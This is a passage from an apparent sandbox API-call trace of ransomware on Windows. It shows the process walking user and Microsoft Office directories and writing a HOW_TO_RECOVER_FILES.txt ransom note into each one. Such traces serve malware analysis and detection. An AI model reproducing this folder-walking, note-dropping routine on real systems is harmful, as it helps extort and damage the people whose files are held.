lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc340 [0196.547] FindNextFileW (in: hFindFile=0x1ecdc340, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.548] FindNextFileW (in: hFindFile=0x1ecdc340, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0196.548] FindClose (in: hFindFile=0x1ecdc340 | out: hFindFile=0x1ecdc340) returned 1 [0196.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0196.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edfc0) returned 1 [0196.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\CrashReports\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\crashreports\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x838 [0196.549] GetFileType (hFile=0x838) returned 0x1 [0196.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf30) returned 1 [0196.549] GetFileType (hFile=0x838) returned 0x1 [0196.550] WriteFile (in: hFile=0x838, lpBuffer=0x378d378*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ee088, lpOverlapped=0x0 | out: lpBuffer=0x378d378*, lpNumberOfBytesWritten=0x206ee088*=0x5d0, lpOverlapped=0x0) returned 1 [0196.551] CloseHandle (hObject=0x838) returned 1 [0196.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036", lpFilePart=0x0) returned 0x34 [0196.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdbfe0 [0196.552] FindNextFileW (in: hFindFile=0x1ecdbfe0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.552] FindNextFileW (in: hFindFile=0x1ecdbfe0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0196.553] FindNextFileW (in: hFindFile=0x1ecdbfe0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0196.553] FindClose (in: hFindFile=0x1ecdbfe0 | out: hFindFile=0x1ecdbfe0) returned 1 [0196.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.553] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036", lpFilePart=0x0) returned 0x34 [0196.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdbf20 [0196.553] FindNextFileW (in: hFindFile=0x1ecdbf20, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.553] FindNextFileW (in: hFindFile=0x1ecdbf20, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0196.553] FindNextFileW (in: hFindFile=0x1ecdbf20, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0196.553] FindClose (in: hFindFile=0x1ecdbf20 | out: hFindFile=0x1ecdbf20) returned 1 [0196.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0196.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edfc0) returned 1 [0196.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x838 [0196.554] GetFileType (hFile=0x838) returned 0x1 [0196.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf30) returned 1 [0196.554] GetFileType (hFile=0x838) returned 0x1 [0196.555] WriteFile (in: hFile=0x838, lpBuffer=0x379e878*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ee088, lpOverlapped=0x0 | out: lpBuffer=0x379e878*, lpNumberOfBytesWritten=0x206ee088*=0x5d0, lpOverlapped=0x0) returned 1 [0196.556] CloseHandle (hObject=0x838) returned 1 [0196.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.556] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082", lpFilePart=0x0) returned 0x34 [0196.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc5e0 [0196.557] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.557] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0196.557] FindNextFileW (in: hFindFile=0x1ecdc5e0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0196.557] FindClose (in: hFindFile=0x1ecdc5e0 | out: hFindFile=0x1ecdc5e0) returned 1 [0196.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082", lpFilePart=0x0) returned 0x34 [0196.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdbe00 [0196.558] FindNextFileW (in: hFindFile=0x1ecdbe00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.558] FindNextFileW (in: hFindFile=0x1ecdbe00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0196.558] FindNextFileW (in: hFindFile=0x1ecdbe00, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0196.559] FindClose (in: hFindFile=0x1ecdbe00 | out: hFindFile=0x1ecdbe00) returned 1 [0196.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.559] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0196.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edfc0) returned 1 [0196.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x838 [0196.559] GetFileType (hFile=0x838) returned 0x1 [0196.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf30) returned 1 [0196.559] GetFileType (hFile=0x838) returned 0x1 [0196.560] WriteFile (in: hFile=0x838, lpBuffer=0x37b4ca8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ee088, lpOverlapped=0x0 | out: lpBuffer=0x37b4ca8*, lpNumberOfBytesWritten=0x206ee088*=0x5d0, lpOverlapped=0x0) returned 1 [0196.561] CloseHandle (hObject=0x838) returned 1 [0196.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb", lpFilePart=0x0) returned 0x39 [0196.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc520 [0196.570] FindNextFileW (in: hFindFile=0x1ecdc520, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.570] FindNextFileW (in: hFindFile=0x1ecdc520, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0196.570] FindNextFileW (in: hFindFile=0x1ecdc520, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0196.570] FindNextFileW (in: hFindFile=0x1ecdc520, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0196.570] FindNextFileW (in: hFindFile=0x1ecdc520, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0196.570] FindClose (in: hFindFile=0x1ecdc520 | out: hFindFile=0x1ecdc520) returned 1 [0196.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0196.571] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb", lpFilePart=0x0) returned 0x39 [0196.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdc4c0 [0196.571] FindNextFileW (in: hFindFile=0x1ecdc4c0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.571] FindNextFileW (in: hFindFile=0x1ecdc4c0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0196.571] FindNextFileW (in: hFindFile=0x1ecdc4c0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0196.571] FindNextFileW (in: hFindFile=0x1ecdc4c0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0196.571] FindNextFileW (in: hFindFile=0x1ecdc4c0, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x12985c4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x12985c4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0196.572] FindClose (in: hFindFile=0x1ecdc4c0 | out: hFindFile=0x1ecdc4c0) returned 1 [0196.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0196.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0196.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM", lpFilePart=0x0) returned 0x46 [0196.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ede00) returned 1 [0196.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\clntwrap.htm"), fInfoLevelId=0x0, lpFileInformation=0x35d1418 | out: lpFileInformation=0x35d1418*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x415)) returned 1 [0196.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206eddc0) returned 1 [0196.573] GetFullPathNameW (in: 